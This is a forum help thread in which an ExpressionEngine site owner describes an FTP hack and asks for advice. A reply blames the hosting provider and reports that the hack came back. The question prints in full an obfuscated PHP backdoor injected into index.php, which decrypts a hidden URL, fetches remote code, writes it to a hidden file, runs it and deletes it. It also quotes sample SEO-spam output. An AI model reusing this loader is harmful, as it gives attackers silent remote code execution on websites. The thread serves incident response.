My EE Site was Hacked

Question

I'm posting this in case any advice helps others who've suffered a similar hack. AFAIK the hack involves compromised FTP access only. index.php of EE v2.10.2 was modified and a couple of new subdirectories containing generated files were created within a web-accessible directory. No database or system directory access. All code was removed and I reset hosting account, FTP and database passwords following discovery.

• Any comments on further best practice in EE following an FTP hack like this?
• Suggestions on what the code does - some kind of automated review submission?

The generated files contained mostly Arabic and look like:

    <"forexarabica|<div itemscope="" itemtype="http://schema.org/Product">
    <span itemprop="name">خيار ثنائي مراجعة الروبوت يوتيوب rating</span>
    <div itemprop="aggregateRating" itemscope="" itemtype="http://schema.org/AggregateRating">
    <span itemprop="ratingValue">5-5</span> stars based on
    <span itemprop="reviewCount">126</span> reviews
    </div>
    </div>
[lots of Arabic in paragraphs plus some random URLs]

The code found at the top of index.php was:

<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; $pass = "Zgc5c4MXrLskZVkZ9Y1BPrCRP1WUNbhY3iKMG+/NuQE=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>

Answer 1

Yes my suspicions (and prior experience) have been that this hack originated on the server. My machine (Mac OSX) is clean and I look after passwords carefully. The function wp_cd in the code above suggests a WordPress-targetted attack, not EE.

For the host to say "we have not had any reports of hacking attempts on our servers" and not to treat my report as such is irresponsible. I'll be moving host at the next opportunity and making SFTP / SSH my default connection method. Andrew Weaver and I have established that the hosting company suffering these attacks is the same one, that we both use. Hosts can only stand to lose trust and hence customers if they don't admit liability when they should.

After all the reset of passwords and virus scan of my machine early yesterday, I checked the server files again today. The same hack had been applied again late last night...